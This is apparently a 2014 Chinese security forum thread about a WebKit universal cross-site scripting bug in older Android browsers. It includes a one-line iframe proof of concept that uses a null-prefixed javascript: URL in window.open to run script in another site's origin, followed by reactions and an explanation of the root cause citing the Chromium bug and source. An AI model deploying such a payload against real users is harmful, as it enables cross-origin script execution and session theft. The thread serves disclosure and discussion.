- A+
from:http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html
POC:http://x55.me/cpframe0002.htm <iframe name="m" src="http://zone.wooyun.org" onload="window.open('\u0000javascript:alert(document.location)','m')" >
测试于安卓4.2.2和4.0.4
==================
下面好多乌云
1#超威蓝猫 | 2014-09-01 12:59
屌炸
2#px1624 | 2014-09-01 13:06
??啥意思? \u0000 这个技巧不是PC浏览器也可以么
3#LaiX | 2014-09-01 13:11
@mramydnei 公开了啊 ,。,。,
4#phith0n | 2014-09-01 13:20
@LaiX http://parsec.me/660.html
5#pangshenjie | 2014-09-01 13:22
福~
6#xsser | 2014-09-01 13:30
我擦咧 跨到本地啊啊啊啊
7#Chu | 2014-09-01 14:38
赞啊
8#么么哒 | 2014-09-01 15:25
么么哒
9#疯狗 | 2014-09-01 15:41
千里迢迢跑来给你颁发勋章
10#0x0F | 2014-09-01 15:47
@疯狗 原来转载也有TAT
11#么么哒 | 2014-09-01 16:18
应该是webkit内核原因,目测能影响kitkat以下版本
12#Smilent | 2014-09-01 17:12
福利
13#孤零落叶寒 | 2014-09-01 17:14
好流弊
14#adm1n | 2014-09-01 17:58
屌
15#香草 | 2014-09-02 10:14
这是严重的跨越漏洞啊,在wooyun.org域上执行的?
16#xssing | 2014-09-02 10:43
UXSS,叼
17#scanf | 2014-09-02 11:02
弹弹弹
18#1c3z | 2014-09-02 11:42
叼叼叼!!!
19#rayh4c | 2014-09-02 12:09
这是webkit核的UXSS漏洞,影响4.3以下的系统,在系统中使用系统自带的webview组件都会受漏洞影响,包括系统自带浏览器,目前只能够自编译浏览器内核才能解决问题。
- -!这个本来是我要在乌云峰会上讲一部分内容。
参考: https://code.google.com/p/chromium/issues/detail?id=37383
20#xsser | 2014-09-02 12:14
楼上的跨到本地吧
21#么么哒 | 2014-09-02 12:16
@rayh4c 茄子牛貌似要讲的都被流传开了,是不是还有藏货呀?
22#rayh4c | 2014-09-02 12:16
@xsser 我要讲防 嘎嘎
23#rayh4c | 2014-09-02 12:21
@么么哒 去年就流传开 WEBKIT公开的UXSS太多了 UXSS这个问题 只是我要讲的多个问题中的1个
24#xsser | 2014-09-02 12:23
@rayh4c 坐等不牛逼不舒服斯基
25#Allmylife | 2014-09-02 17:52
@mramydnei
貌似无法加载外部js,也不能跳转。
26#mramydnei | 2014-09-02 18:46
@rayh4c 是跑POC跑出来的。虽然和 https://code.google.com/p/chromium/issues/detail?id=37383是一摸一样的问题,但CVE编号好像是独立的。
27#rayh4c | 2014-09-02 19:06
@mramydnei 这个漏洞我去年就发现了,应该不是发现,是测出来了。本来想在乌云峰会上讲一下webview神坑中的1个。
漏洞详情:https://code.google.com/p/chromium/issues/detail?id=37383
这个漏洞是2010年发布的一个webkit核的UXSS漏洞,发现这个漏洞后,webkit的官方测试网页中还包含了这个漏洞review测试用例:
http://src.chromium.org/viewvc/chrome/branches/WebKit/249/LayoutTests/http/tests/security/xss-DENIED-window-open-javascript-url-leading-format-char.html
源代码
http://src.chromium.org/viewvc/chrome/branches/WebKit/249/WebCore/platform/KURLGoogle.cpp?r1=41244&r2=41243&pathrev=41244
GOOGLE是对URL地址进行了检查,去掉了\u0000javascript:协议地址的空字符。
bool protocolIs(const String& url, const char* protocol)
{
// Do the comparison without making a new string object.
//970
assertProtocolIsGood(protocol);
// Check the scheme like GURL does.
return url_util::FindAndCompareScheme(url.characters(), url.length(),protocol, NULL);
}
安卓4.3-4.1系统用的webkit核的protocolIs函数也是修过漏洞的,但是仍然绕过了Cross-Origin protection,这里是个大神坑。
https://android.googlesource.com/platform/external/webkit/+/android-4.3_r3/Source/WebCore/platform/KURLGoogle.cpp
https://android.googlesource.com/platform/external/webkit/+/android-4.1.2_r2.1/Source/WebCore/platform/KURLGoogle.cpp
28#么么哒 | 2014-09-02 19:07
@rayh4c 好屌~
29#么么哒 | 2014-09-03 10:30
@rayh4c https://android.googlesource.com/platform/external/webkit/+/android-4.3_r3/Source/WebCore/platform/KURLGoogle.cpp
https://android.googlesource.com/platform/external/webkit/+/android-4.1.2_r2.1/Source/WebCore/platform/KURLGoogle.cpp
这个两个文件完全一样呀。。。
30#么么哒 | 2014-09-03 10:33
@rayh4c 额,我错了,这两个版本都受影响的
31#回复此人 | 2014-09-03 19:07
@rayh4c 公开的都有哪些呢??
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫